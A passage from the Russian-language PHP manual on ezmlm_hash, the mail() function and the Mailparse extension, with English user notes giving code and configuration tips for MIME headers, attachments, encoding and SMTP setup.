$headers .= "X-Mailer: PHP v".phpversion().$eol;           // These two to help avoid spam-filters
# Boundry for marking the split & Multitype Headers
$mime_boundary=md5(time());
$headers .= 'MIME-Version: 1.0'.$eol;
$headers .= "Content-Type: multipart/related; boundary=\"".$mime_boundary."\"".$eol;
$msg = "";

# Attachment
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: application/pdf; name=\"".$letter."\"".$eol;   // sometimes i have to send MS Word, use 'msword' instead of 'pdf'
$msg .= "Content-Transfer-Encoding: base64".$eol;
$msg .= "Content-Disposition: attachment; filename=\"".$letter."\"".$eol.$eol; // !! This line needs TWO end of lines !! IMPORTANT !!
$msg .= $f_contents.$eol.$eol;
# Setup for text OR html
$msg .= "Content-Type: multipart/alternative".$eol;

# Text Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/plain; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= "This is a multi-part message in MIME format.".$eol;
$msg .= "If you are reading this, please update your email-reading-software.".$eol;
$msg .= "+ + Text Only Email from Genius Jon + +".$eol.$eol;

# HTML Version
$msg .= "--".$mime_boundary.$eol;
$msg .= "Content-Type: text/html; charset=iso-8859-1".$eol;
$msg .= "Content-Transfer-Encoding: 8bit".$eol;
$msg .= $body.$eol.$eol;

# Finished
$msg .= "--".$mime_boundary."--".$eol.$eol;   // finish with two eol's for better security. see Injection.

# SEND THE EMAIL
ini_set(sendmail_from,'from@example.com');  // the INI lines are to force the From Address to be used !
  mail($emailaddress, $emailsubject, $msg, $headers);
ini_restore(sendmail_from);
?>

I hope this helps.
Jon Webb [Madrid&London]

[EDITOR thiago NOTE: Code has a fix from o.straesser AT gmx DOT de]
lawcd at ntlworld dot com 30-Jan-2006 09:38
For those of you with the exim, if its not sending mail with the -i option and you cant easily change this, you might want to check out the imap_mail() function which works almost exactly the same and doesnt use exim, most web hosts provide this. If you using your own server then php needs to be compiled with imap libraries etc.

See http://php.net/manual/en/function.imap-mail.php
aweather88 at gmail dot com 14-Dec-2005 02:45
I spent hours searching the web trying to figure out why I was getting a "WARNING: mail(): SMTP server response: 501 5.5.4 Invalid Address " every time I was using the mail() function on my server (Win2K3,IIS 6.0,PHP4.4.1).  I knew everything was setup properly for SMTP based on other non IIS 6.0 configurations.

Turns out that the IIS 6.0 SMTP service does not like formatting of the "From" field in mail headers.  For instance:
<?PHP
   //This line DOES NOT send  mail message correctly
   $headers .= "From: \"".$fromname."\" <".$fromaddress.">\n";
?>
However this works:
<?PHP
   //This line sends mail message correctly
   $headers .= "From: \"".$fromaddress."\"\n";
?>

The fix is in Microsoft Article ID 291828 ( http://support.microsoft.com/?id=291828 ).  Even though the "bug" workaround is for IIS 6.0 on Exchange 2003 communicating with a UNIX server, THIS SOLVES THE PROBLEM.  Just skip down to the last section for Exchange 2003 and follow the instructions to modify the IIS 6 MetaBase with the MetaBase Explorer found in the IIS 6 Resource Kit.
josh at sdfahrenheit dot com 15-Apr-2004 07:52
For anyone having problems with attached files coming through garbled, make sure you have magic_quotes_runtime set to Off in your php.ini - it adds funky escape chars to your attached data and garbles the attachment.

This was giving me all kinds of grief.


Вычисляет хеш-сумму, необходимую для EZMLM

  • « Почта
  • mail »
  • PHP Manual
  • Почта
  • Вычисляет хеш-сумму, необходимую для EZMLM

ezmlm_hash

(PHP 4 >= 4.0.2, PHP 5, PHP 7)

ezmlm_hash — Вычисляет хеш-сумму, необходимую для EZMLM

Внимание

Эта функция УСТАРЕЛА, начиная с PHP 7.4.0 и была УДАЛЕНА, начиная с PHP 8.0.0. Использовать эту функцию крайне не рекомендуется.

Описание

ezmlm_hash(string $addr): int

ezmlm_hash() вычисляет хеш-сумму, необходимую при хранении почтовых списков EZMLM в базе MySQL.

Список параметров

addr

Хешируемый адрес электронной почты.

Возвращаемые значения

Хеш-сумма параметра addr.

Примеры

Пример #1 Вычисляет хеш-сумму и подписка пользователя на что-либо

<?php

$user = "joecool@example.com";
$hash = ezmlm_hash($user);
$query = sprintf("INSERT INTO sample VALUES (%s, '%s')", $hash, $user);
$db->query($query); // используя интерфейс PHPLIB db

?>

User Contributed Notes

thedragon at mediocreshit dot com 03-Aug-2007 06:55
ezmlm will add a user to the list from a mail() call if you use the -f extra flag in the function.
Example:

mail($to,$title,$email,$headers,"-tfromemail@example.com");

The extra flag being a -t followed by no space and the email address you want the email to appear as though it's being sent from. I spent hours messing with this to try to allow users to sign up for my mailing list by marking a check box while signing up on my site, ezmlm ignored everything until I threw that extra parameter in there.

Hope this helps.
jens at NOSPAM dot rootsy dot nu 30-Sep-2005 12:07
This is really ezmlm documentation, but I certanly would have been happy if I found it anywhere during my time of trial. I am not a Linux expert, as you probably will notice, so things I do/did that might sound incredibly stupid to those who do know. I blame hard-to-find documentation :)

I wanted a page where a visitor could add their address to my mailinglist. That shouldn't be too hard, or atleastso I thought...

First I tried mailing the mailinglist. For some reason, the mailinglist didn't see my "From:" -header and it failed miserably.

Then I tried to use system() to call ezmlm-sub, which only produced the error-code 111. That was an access problem. So, I tried making the mailinglist availible to the website, but the change in permissions caused the mailserver to malfunction (as opposed to mailfunction....). It took a while to sort that mess out.

I couldn't find any guide as howto add mysql-support. The big problem was how to know which tables was needed. Apperantly, this is all that is needed:

ezmlm-mktab listname | mysql -u root -p databasename

Then its just adding the mailinglist with mysql-support i qmailadmin. It doesn't seem to allow socket connection to the database, so iptables has to allow local connections to the mysql port.

Hope this helps someone.
Tim in SF 10-Dec-2003 07:57
EZ Mailing List Manager (EZMLM) is a mailing list manager which allows users to create their own mailing lists with a single command.

It seems to require qmail.

See:
http://www.ezmlm.org/
http://www.qmail.org/top.html#ezmlm


Отправляет электронную почту

  • « ezmlm_hash
  • Mailparse »
  • PHP Manual
  • Почта
  • Отправляет электронную почту

mail

(PHP 4, PHP 5, PHP 7, PHP 8)

mail — Отправляет электронную почту

Описание

mail(
string $to,
string $subject,
string $message,
array|string $additional_headers = [],
string $additional_params = ""
): bool

Отправляет электронную почту.

Список параметров

to

Получатель, или получатели письма.

Формат этого параметра должен соответствовать » RFC 2822. Несколько примеров:

  • user@example.com
  • user@example.com, anotheruser@example.com
  • User <user@example.com>
  • User <user@example.com>, Another User <anotheruser@example.com>

subject

Тема отправляемого письма.

Предостережение

Тема должна соответствовать » RFC 2047.

message

Отправляемое сообщение.

Каждая строка должна быть отделена символом CRLF (\r\n). Строки не должны быть длиннее 70 символов.

Предостережение

(Только для Windows) Если PHP передаёт данные напрямую SMTP-серверу и в начале строки стоит точка, то она будет удалена. Чтобы избежать этого замените все такие точки на две.

<?php
$text = str_replace("\n.", "\n..", $text);
?>

additional_headers (необязательный)

Строка или массив, которые будут вставлены в конец отправляемых заголовков письма.

Обычно используется для добавления дополнительных заголовков (From, Cc, and Bcc). Несколько дополнительных заголовков должны быть разделены CRLF (\r\n). Если для составления этого заголовка используются внешние данные, то они должны быть проверены для избежания инъекций нежелательных заголовков.

Если передан массив, то его ключи будут именами заголовка, а значения значениями.

Замечание:

До PHP 5.4.42 и 5.5.27, параметр additional_headers не имел защиты от инъекции. Так что пользователи должны удостовериться, что передаваемые заголовки безопасны и содержат только заголовки. т.е. не содержат несколько переводов строк подряд, что стартует тело сообщения.

Замечание:

При отправке письмо должно содержать заголовок From. Он может быть установлен с помощью параметра additional_headers, или значение по умолчанию может быть установлено в php.ini.

Если заголовок отсутствует, будет сгенерировано сообщение об ошибке вида Warning: mail(): "sendmail_from" not set in php.ini or custom "From:" header missing. Заголовок From также определяет заголовок Return-Path при отправке напрямую через SMTP (только Windows).

Замечание:

Если сообщения не отправляются, попробуйте использовать только LF (\n). Некоторые агенты пересылки сообщений Unix (особенно » qmail) автоматически заменяют LF на CRLF (что приводит к двойному CR, если использовалось CRLF). Используйте эту меру в крайнем случае, так как это нарушает » RFC 2822.

additional_params (необязательный)

Параметр additional_params может быть использован для передачи дополнительных флагов в виде аргументов командной строки для программы сконфигурированной для отправки писем, указанной директивой sendmail_path. Например, можно установить отправителя письма при использовании sendmail с помощью опции -f.

Параметр автоматически экранируется функцией escapeshellcmd(), чтобы не допустить выполнение команд. Но escapeshellcmd() позволяет добавлять дополнительные параметры. В целях безопасности рекомендуется проверять и очищать этот параметр.

Так как escapeshellcmd() применяется автоматически, то нельзя использовать некоторые символы, допустимые к использованию в email-адресах некоторыми RFC. mail() не допускает такие символы, поэтому в программах, в которых они требуются, рекомендуется использовать альтернативы для их отправки (например фреймворки или библиотеки).

Пользователь, под которым работает веб-сервер должен быть добавлен в список доверенных в конфигурации sendmail для того чтобы избежать добавления заголовка 'X-Warning' при указании отправителя с помощью опции (-f). Для пользователей sendmail - это файл /etc/mail/trusted-users.

Возвращаемые значения

Возвращает true, если письмо было принято для передачи, иначе false.

Важно заметить, что то что письмо было принято для передачи вовсе НЕ означает что оно достигло получателя.

Список изменений

Версия | Описание
7.2.0 | Параметр additional_headers может принимать значения типа массив.

Примеры

Пример #1 Отправка письма.

Использование функции mail() для отправки простого письма:

<?php
// Сообщение
$message = "Line 1\r\nLine 2\r\nLine 3";

// На случай если какая-то строка письма длиннее 70 символов мы используем wordwrap()
$message = wordwrap($message, 70, "\r\n");

// Отправляем
mail('caffeinated@example.com', 'My Subject', $message);
?>

Пример #2 Отправка письма с дополнительными заголовками.

Добавление простых заголовков, сообщающих почтовому агенту адреса From и Reply-To:

<?php
$to = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = 'From: webmaster@example.com' . "\r\n" .
'Reply-To: webmaster@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();

mail($to, $subject, $message, $headers);
?>

Пример #3 Отправка письма с дополнительными заголовками, переданными массивом

В этом примере посылается то же письмо, что и в примере выше, но дополнительные заголовки задаются массивом (доступно с PHP 7.2.0).

<?php
$to = 'nobody@example.com';
$subject = 'the subject';
$message = 'hello';
$headers = array(
'From' => 'webmaster@example.com',
'Reply-To' => 'webmaster@example.com',
'X-Mailer' => 'PHP/' . phpversion()
);

mail($to, $subject, $message, $headers);
?>

Пример #4 Отправка письма с дополнительными аргументами командной строки.

Параметр additional_params может быть использован для передачи дополнительных параметров программе, используемой для отправки писем с помощью директивы sendmail_path.

<?php
mail('nobody@example.com', 'the subject', 'the message', null,
'-fwebmaster@example.com');
?>

Пример #5 Отправка HTML-сообщения

С помощью функции mail() также можно отправить и HTML-письмо.

<?php
// несколько получателей
$to = 'johny@example.com, sally@example.com'; // обратите внимание на запятую

// тема письма
$subject = 'Birthday Reminders for August';

// текст письма
$message = '
<html>
<head>
<title>Birthday Reminders for August</title>
</head>
<body>
<p>Here are the birthdays upcoming in August!</p>
<table>
<tr>
<th>Person</th><th>Day</th><th>Month</th><th>Year</th>
</tr>
<tr>
<td>Johny</td><td>10th</td><td>August</td><td>1970</td>
</tr>
<tr>
<td>Sally</td><td>17th</td><td>August</td><td>1973</td>
</tr>
</table>
</body>
</html>
';

// Для отправки HTML-письма должен быть установлен заголовок Content-type
$headers[] = 'MIME-Version: 1.0';
$headers[] = 'Content-type: text/html; charset=iso-8859-1';

// Дополнительные заголовки
$headers[] = 'To: Mary <mary@example.com>, Kelly <kelly@example.com>';
$headers[] = 'From: Birthday Reminder <birthday@example.com>';
$headers[] = 'Cc: birthdayarchive@example.com';
$headers[] = 'Bcc: birthdaycheck@example.com';

// Отправляем
mail($to, $subject, $message, implode("\r\n", $headers));
?>

Замечание:

Для отправки HTML или других комплексных сообщений рекомендуется использовать PEAR-пакет » PEAR::Mail_Mime.

Примечания

Замечание:

Реализация SMTP (только Windows) функции mail() в Windows во многом отличается от реализации в sendmail. Во-первых, она не использует локальную программу для составления писем, а работает непосредственно с сокетами, что означает что необходим почтовый агент (MTA), ожидающий соединений на сокете (может быть как на локальном так и на удалённом сервере).

Во-вторых, дополнительные заголовки вроде: From:, Cc:, Bcc: и Date: интерпретируются в первую очередь не, MTA, а PHP.

Поэтому параметр to не должен быть адресом вида "Something <someone@example.com>". Команда mail может неправильно интерпретировать этот адрес во время передачи данных MTA.

Замечание:

Не следует использовать функцию mail() для отправки большого количества писем в цикле. Функция открывает и закрывает соединение с SMTP-сервером для каждого письма, что не очень эффективно.

Для отправки большого количества сообщений обратите внимание на пакеты » PEAR::Mail и » PEAR::Mail_Queue.

Замечание:

Полезные RFC: » RFC 1896, » RFC 2045, » RFC 2046, » RFC 2047, » RFC 2048, » RFC 2049 и » RFC 2822.

Смотрите также

  • mb_send_mail() - Отправка закодированного сообщения
  • imap_mail() - Отправить email
  • » PEAR::Mail
  • » PEAR::Mail_Mime

User Contributed Notes

priyanshkala3 at gmail dot com 06-Dec-2023 11:21
Sending mail using XAMPP server

I encountered numerous issues while attempting to send emails using the XAMPP server. However, I eventually found the correct method to accomplish it.

Configuring PHP's mail functionality to work with Gmail's SMTP server involves editing the `php.ini` and `sendmail.ini` configuration files. Below are the formal steps for setting up PHP to send emails through Gmail's SMTP server using XAMPP:

Configuring php.ini:

1. Open `php.ini` in an editor:
   Open the `php.ini` configuration file in your preferred text editor.

2. Locate the mail function:
   Use the search function (Ctrl + F) to find the section related to the mail function within the `php.ini` file.

3. Update mail function settings:
   Copy and paste the following configuration parameters into the mail function section. Comment out or disable all other settings related to mail.

   php.ini code to be edited:

   SMTP=smtp.gmail.com
   smtp_port=587
   sendmail_from = yourmail@gmail.com
   sendmail_path = write_sendmail.exe_path

4. Save the changes:
   Save the `php.ini` file after applying the modifications.

Configuring sendmail.ini (in XAMPP folder):

1. Open `sendmail.ini` in XAMPP folder:
   Locate and open the `sendmail.ini` configuration file within the XAMPP directory.

2. Adjust SMTP settings:
   Insert the following content into the `sendmail.ini` file, marking other configurations as comments:

   sendmail.ini code :

   smtp_server=smtp.gmail.com
   smtp_port=587
   error_logfile=error.log
   debug_logfile=debug.log
   auth_username=yourmail@gmail.com
auth_password=app_password_after_enabling_two_factor_authentication_for_your_mail_id
   force_sender=priyansh.kala.4@gmail.com

3. Save the changes:
   Save the `sendmail.ini` file after inserting the specified configurations.

These steps configure PHP to utilize Gmail's SMTP server for sending emails. Ensure that the modifications are saved and that the necessary XAMPP services are restarted for the changes to take effect.

Please note that using hardcoded passwords in configuration files poses a security risk. Storing passwords directly in plain text files should be avoided in production environments. Consider using environment variables or secure credential management systems for better security practices.

Code for sending mail-:

<?php
$subject = "Mail for checking";
$msg = "Hey! Let us play with PHP.";
$receiver = "reciever@gmail.com";
mail($receiver, $subject, $msg);
?>
Anonymous 20-Mar-2023 12:44
So far I used the following to make sure special charakters where correctly shown in the mail subject:

<?php $subject = '=?utf-8?B?' . base64_encode($subject) . '?='; ?>

But with very long subjects, the header line gets longer than 76 chars and some e-mail servers really don't like that... So this is my new solution:

<?php $subject = substr(mb_encode_mimeheader("Subject: " . $subject, 'utf-8', 'B', "\r\n", 0), 9); ?>

Please note: I added "Subject: " in front of $subject and stripped it of afterwards. This is to make sure, that the necessarry space is reserved, as PHP will add the "Subject: " itself...
imme_emosol 22-Feb-2023 08:34
Also see chunk_split (as "alternative" to wordwrap).
atesin > gmail 26-Jan-2023 12:23
mail() internals:

doing some tests i can say... if sendmail_path is defined in php.ini or by ini.set(), by calling function like...

mail($to, $subject, $message, $headers, $params)

would be like if php open a shell internally, execute this command, send this text to stdin, and return true if return value == 0

------------
shell> $sendmail_path $params
To: $to
Subject: $subject
$headers

$message
(EOF)
------------

in windows instead using php smtp which is very limited, i prefer to force use sendmail-like behavior, by setting sendmail_path and then use msmtp for windows
andrew at my-syte dot com 31-Oct-2022 02:36
Regarding To:

be careful not to duplicate To in the additional_headers,

lest gmail already flags it thus:

host gmail-smtp-in.l.google.com [142.251.xx.xx]
SMTP error from remote mail server after end of data:
550-5.7.1 [xxx.xxx.xx.xx] This message is not RFC 5322 compliant, the issue is:
550-5.7.1 duplicate To headers. To reduce the amount of spam sent to Gmail,
550-5.7.1 this message has been blocked. Please review
550 5.7.1 RFC 5322 specifications for more information.
pangz dot lab at gmail dot com 06-Jul-2020 08:42
* Sending email with attachment

function sendMail(
    string $fileAttachment,
    string $mailMessage = MAIL_CONF["mailMessage"],
    string $subject     = MAIL_CONF["subject"],
    string $toAddress   = MAIL_CONF["toAddress"],
    string $fromMail    = MAIL_CONF["fromMail"]
): bool {

    $fileAttachment = trim($fileAttachment);
    $from           = $fromMail;
    $pathInfo       = pathinfo($fileAttachment);
    $attchmentName  = "attachment_".date("YmdHms").(
    (isset($pathInfo['extension']))? ".".$pathInfo['extension'] : ""
    );

    $attachment    = chunk_split(base64_encode(file_get_contents($fileAttachment)));
    $boundary      = "PHP-mixed-".md5(time());
    $boundWithPre  = "\n--".$boundary;

    $headers   = "From: $from";
    $headers  .= "\nReply-To: $from";
    $headers  .= "\nContent-Type: multipart/mixed; boundary=\"".$boundary."\"";

    $message   = $boundWithPre;
    $message  .= "\n Content-Type: text/plain; CHARSET=Windows-1251\n";
    $message  .= "\n $mailMessage";

    $message .= $boundWithPre;
    $message .= "\nContent-Type: application/octet-stream; name=\"".$attchmentName."\"";
    $message .= "\nContent-Transfer-Encoding: base64\n";
    $message .= "\nContent-Disposition: attachment\n";
    $message .= $attachment;
    $message .= $boundWithPre."--";

    return mail($toAddress, $subject, $message, $headers);
}

* Sending email in html

function sendHtmlMail(
    string $mailMessage = MAIL_CONF["mailMessage"],
    string $subject     = MAIL_CONF["subject"],
    array $toAddress    = MAIL_CONF["toAddress"],
    string $fromMail    = MAIL_CONF["fromMail"]
): bool {

    $to        = implode(",", $toAddress);
    $headers[] = 'MIME-Version: 1.0';
    $headers[] = 'Content-type: text/html; charset=iso-8859-1';
    $headers[] = 'To: '.$to;
    $headers[] = 'From: '.$fromMail;

    return mail($to, $subject, $mailMessage, implode("\r\n", $headers));
}
Anonymous 12-Oct-2019 07:36
If you notice wrong displayed characters in the email it's because you need to properly set the Content-Type and the Charset in the headers of the email:

<?php
$headers = 'Content-Type: text/plain; CHARSET=Windows-1251' . "\r\n";
?>

Mostly, UTF-8 is your best choice.

You can set custom headers with the fourth parameter of the mail() function.

To make the whole thing waterproof, add the following header too:

<?php
$headers .= 'Content-Transfer-Encoding: base64' . "\r\n";
?>

Now you can use the combination of UTF-8 and Base64 to properly encode the subject line and the recipient name like this:

<?php
$subject = '=?UTF-8?B?' . base64_encode('Test email with German Umlauts oau?') . '?=';
$recipient = '=?UTF-8?B?' . base64_encode('Margret Muller') . '?= <recipient@domain.com>';
?>

And don't forget to Base64 encode the email message too:

<?php
$message = base64_encode('This email contains German Umlauts oau?.');
?>

All references are taken from:
https://dev.to/lutvit/how-to-make-the-php-mail-function-awesome-3cii
Mark Simon 05-Jul-2019 07:04
It is worth noting that you can set up a fake sendmail program using the sendmail_path directive in php.ini.

Despite the comment in that file, sendmail_path also works for Window. From https://www.php.net/manual/en/mail.configuration.php#ini.sendmail-path:

This directive works also under Windows. If set, smtp, smtp_port and sendmail_from are ignored and the specified command is executed.
charles dot fisher at arconic dot com 10-Nov-2017 07:34
I migrated an application to a platform without a local transport agent (MTA). I did not want to configure an MTA, so I wrote this xxmail function to replace mail() with calls to a remote SMTP server. Hopefully it is of some use.

function xxmail($to, $subject, $body, $headers)
{
 $smtp = stream_socket_client('tcp://smtp.yourmail.com:25', $eno, $estr, 30);

 $B = 8192;
 $c = "\r\n";
 $s = 'myapp@someserver.com';

 fwrite($smtp, 'helo ' . $_ENV['HOSTNAME'] . $c);
  $junk = fgets($smtp, $B);

 // Envelope
 fwrite($smtp, 'mail from: ' . $s . $c);
  $junk = fgets($smtp, $B);
 fwrite($smtp, 'rcpt to: ' . $to . $c);
  $junk = fgets($smtp, $B);
 fwrite($smtp, 'data' . $c);
  $junk = fgets($smtp, $B);

 // Header
 fwrite($smtp, 'To: ' . $to . $c);
 if(strlen($subject)) fwrite($smtp, 'Subject: ' . $subject . $c);
 if(strlen($headers)) fwrite($smtp, $headers); // Must be \r\n (delimited)
 fwrite($smtp, $headers . $c);

 // Body
 if(strlen($body)) fwrite($smtp, $body . $c);
 fwrite($smtp, $c . '.' . $c);
  $junk = fgets($smtp, $B);

 // Close
 fwrite($smtp, 'quit' . $c);
  $junk = fgets($smtp, $B);
 fclose($smtp);
}
eeeugeneee 21-Jul-2017 01:39
Send mail with minimal requirements from email services.

<?php
    $encoding = "utf-8";

    // Preferences for Subject field
    $subject_preferences = array(
        "input-charset" => $encoding,
        "output-charset" => $encoding,
        "line-length" => 76,
        "line-break-chars" => "\r\n"
    );

    // Mail header
    $header = "Content-type: text/html; charset=".$encoding." \r\n";
    $header .= "From: ".$from_name." <".$from_mail."> \r\n";
    $header .= "MIME-Version: 1.0 \r\n";
    $header .= "Content-Transfer-Encoding: 8bit \r\n";
    $header .= "Date: ".date("r (T)")." \r\n";
    $header .= iconv_mime_encode("Subject", $mail_subject, $subject_preferences);

    // Send mail
    mail($mail_to, $mail_subject, $mail_message, $header);
?>
php at simoneast dot net 31-May-2017 05:19
Often it's helpful to find the exact error message that is triggered by the mail() function. While the function doesn't provide an error directly, you can use error_get_last() when mail() returns false.

<?php
$success = mail('example@example.com', 'My Subject', $message);
if (!$success) {
    $errorMessage = error_get_last()['message'];
}
?>

(Tested successfully on Windows which uses SMTP by default, but sendmail on Linux/OSX may not provide the same level of detail.)

Thanks to https://stackoverflow.com/a/20203870/195835
chris at ocproducts dot com 26-Apr-2017 10:04
The 'sendmail' executable which PHP uses on Linux/Mac (not Windows) expects "\n" as a line separator.

This executable is a standard, and emulated by other MTAs.

"\n" is confirmed required for qmail and postfix, probably also for sendmail and exim but I have not tested.

If you pass through using "\r\n" as a separator it may appear to work, but your email will be subtly corrupted and some middleware may break. It only works because some systems will clean up your mistake.

If you are implementing DKIM be very careful, as DKIM checks will fail (at least on popular validation tools) if you screw this up. DKIM must be calculated using "\r\n" but then you must switch it all to "\n" when using the PHP mail function.

On Windows, however, you should use "\r\n" because PHP is using SMTP in this situation, and hence the normal rules of the SMTP protocol (not the normal rules of Unix piping) apply.
Anonymous 14-Dec-2016 10:18
Security advice: Although it is not documented, for the parameters $to and $subject the mail() function changes at least \r and \n to space. So these parameters are safe against injection of additional headers. But you might want to check $to for commas as these separate multiple addresses and you might not want to send to more than one recipient.

The crucial part is the $additional_headers parameter. This parameter can't be cleaned by the mail() function. So it is up to you to prevent unwanted \r or \n to be inserted into the values you put in there. Otherwise you just created a potential spam distributor.
pavel.lint at vk.com 16-May-2012 11:22
Here's a small handy function I use to send email in UTF-8.

 <?php
function mail_utf8($to, $from_user, $from_email,
                                             $subject = '(No subject)', $message = '')
   {
      $from_user = "=?UTF-8?B?".base64_encode($from_user)."?=";
      $subject = "=?UTF-8?B?".base64_encode($subject)."?=";

      $headers = "From: $from_user <$from_email>\r\n".
               "MIME-Version: 1.0" . "\r\n" .
               "Content-type: text/html; CHARSET=Windows-1251" . "\r\n";

     return mail($to, $subject, $message, $headers);
   }
?>
rexlorenzo at gmail dot com 02-May-2012 01:24
Be careful to not put extra spaces for the $headers variable.

For example, this didn't work on our servers:

$headers = "From: $from \r\n Bcc: $bcc \r\n";

But this did:

$headers = "From: $from\r\nBcc: $bcc\r\n";

Notice the removal of the spaces around the first \r\n.
Max AT 15-Feb-2012 09:26
To define a mail sensitivity you have to put this line in the headers:

<?php
        $headers = "MIME-Version: 1.0\n" ;
        $headers .= "Content-Type: text/html; charset=\"iso-8859-1\"\n";

        $headers .= "Sensitivity: Personal\n";

 $status   = mail($to, $subject, $message,$headers);
?>

Possible Options:
Sensitivity: Normal, Personal, Private and Company-Confidential

These will be recognised and handled in Outlook, Thunderbird and others.
ABOMB 30-Jan-2012 10:16
I was having delivery issues from this function to Gmail, Yahoo, AOL, etc.  I used the notes here to figure that you need to be setting your Return-Path to a valid email to catch bounces.  There are two extra delivery gotchas on top of that:

1) The domain in the email used in the -f option in the php.ini sendmail parameter or in the mail() extra parameters field, needs to have a valid SPF record for the domain (in DNS as a "TXT" record type for sure and add an additional  "SPF" type record if possible).  Why? That's header field being used for spam checks.

2) You should also use a domain key or DKIM.  The trick here is that the domain key/DKIM is case sensitive!  I used Cpanel to create my domain key which automatically used all lowercase domain names in the key creation.  I found when  sending email and using a camel case "-f account@MyDomainHere.Com" option, my key was not accepted.  However it was accepted when I used "-f account@mydomainhere.com".

There are many other factors that can contribute to mail not getting to inboxes, including your own multiple failed testing attempts, so I suggest you consult each site's guidelines and don't ask me for help.  These are just the couple technical issues that helped my case.

I hope this saves someone some time and headaches...
Porjo 06-Jul-2010 11:19
Make sure you enclose \r\n in double quotes (not single quotes!) so that PHP can translate that into the correct linefeed code
Ben Cooke 15-Dec-2005 05:34
Note that there is a big difference between the behavior of this function on Windows systems vs. UNIX systems. On Windows it delivers directly to an SMTP server, while on a UNIX system it uses a local command to hand off to the system's own MTA.

The upshot of all this is that on a Windows system your  message and headers must use the standard line endings \r\n as prescribed by the email specs. On a UNIX system the MTA's "sendmail" interface assumes that recieved data will use UNIX line endings and will turn any \n to \r\n, so you must supply only \n to mail() on a UNIX system to avoid the MTA hypercorrecting to \r\r\n.

If you use plain old \n on a Windows system, some MTAs will get a little upset. qmail in particular will refuse outright to accept any message that has a lonely \n without an accompanying \r.
php dot net at schrecktech dot com 02-Mar-2005 04:07
When sending MIME email make sure you follow the documentation with the "70" characters per line...you may end up with missing characters...and that is really hard to track down...


Mailparse

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Mailparse
    • mailparse_determine_best_xfer_encoding — Определить наилучший путь декодирования
    • mailparse_msg_create — Создаёт почтовый MIME-ресурс
    • mailparse_msg_extract_part_file — Извлечь/декодировать секцию с сообщением из файла
    • mailparse_msg_extract_part — Извлечь/декодировать секцию с сообщением
    • mailparse_msg_extract_whole_part_file — Извлечь секцию сообщения вместе с заголовками без декодирования
    • mailparse_msg_free — Высвободить MIME-ресурс
    • mailparse_msg_get_part_data — Вернуть ассоциативный массив с информацией о сообщении
    • mailparse_msg_get_part — Возвращает указатель на заданную секцию в mime-сообщении
    • mailparse_msg_get_structure — Получить массив имён mime-секций в заданном сообщении
    • mailparse_msg_parse_file — Разобрать файл
    • mailparse_msg_parse — Инкрементальное разбирает данные в буфер
    • mailparse_rfc822_parse_addresses — Разобрать адреса в соответствии с RFC 822
    • mailparse_stream_encode — Кодирует поток из файла источника и пишет в файл получатель.
    • mailparse_uudecode_all — Сканирует данные из указанного файла и извлекает все вложенные файлы, кодированные в uuencode

User Contributed Notes

There are no user contributed notes for this page.


Введение

Mailparse - это модуль для анализа и работы с почтовыми сообщениями. Модуль работает с сообщениями, совместимыми c » RFC 822 и » RFC 2045 (MIME).

Mailparse не держит в памяти копии обрабатываемых файлов, что очень эффективно с точки зрения ресурсов при обработке объёмных сообщений.

Замечание:

Для Mailparse требуется наличие модуля mbstring и он должен быть загружен перед mailparse.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP. Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/mailparse.

Для использования этих функций вы должны скомпилировать PHP с поддержкой mailparse используя опцию конфигурации --enable-mailparse.

Пользователям Windows необходимо разрешить php_mailparse.dll в php.ini для использования этих функций. Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

Необходимо, чтобы модуль mbstring был загружен перед использованием mailparse.

User Contributed Notes

Anonymous 04-Jan-2022 04:25
To install on centos try:

  > yum install php-cli php-mailparse

  ..and then restart apache..

  > systemctl restart httpd


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Опции настройки Mailparse
Имя | По умолчанию | Место изменения | Список изменений
mailparse.def_charset | "us-ascii" | PHP_INI_SYSTEM |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

mailparse.def_charset string

Набор символов по умолчанию.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Mailparse определяет тип ресурса mailparse_mail_structure, который возвращается функциями mailparse_msg_create() и mailparse_msg_parse_file().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

MAILPARSE_EXTRACT_OUTPUT (int)
MAILPARSE_EXTRACT_STREAM (int)
MAILPARSE_EXTRACT_RETURN (int)

User Contributed Notes

There are no user contributed notes for this page.


Mailparse

Содержание

  • mailparse_determine_best_xfer_encoding — Определить наилучший путь декодирования
  • mailparse_msg_create — Создаёт почтовый MIME-ресурс
  • mailparse_msg_extract_part_file — Извлечь/декодировать секцию с сообщением из файла
  • mailparse_msg_extract_part — Извлечь/декодировать секцию с сообщением
  • mailparse_msg_extract_whole_part_file — Извлечь секцию сообщения вместе с заголовками без декодирования
  • mailparse_msg_free — Высвободить MIME-ресурс
  • mailparse_msg_get_part_data — Вернуть ассоциативный массив с информацией о сообщении
  • mailparse_msg_get_part — Возвращает указатель на заданную секцию в mime-сообщении
  • mailparse_msg_get_structure — Получить массив имён mime-секций в заданном сообщении
  • mailparse_msg_parse_file — Разобрать файл
  • mailparse_msg_parse — Инкрементальное разбирает данные в буфер
  • mailparse_rfc822_parse_addresses — Разобрать адреса в соответствии с RFC 822
  • mailparse_stream_encode — Кодирует поток из файла источника и пишет в файл получатель.
  • mailparse_uudecode_all — Сканирует данные из указанного файла и извлекает все вложенные файлы, кодированные в uuencode

User Contributed Notes

iwarner at triangle-solutions dot com 21-May-2004 08:31
Also dont forget to LOAD mbstring before you load mailparse

example in the php.ini place in this order:

extension=php_mbstring.dll
extension=php_mailparse.dll

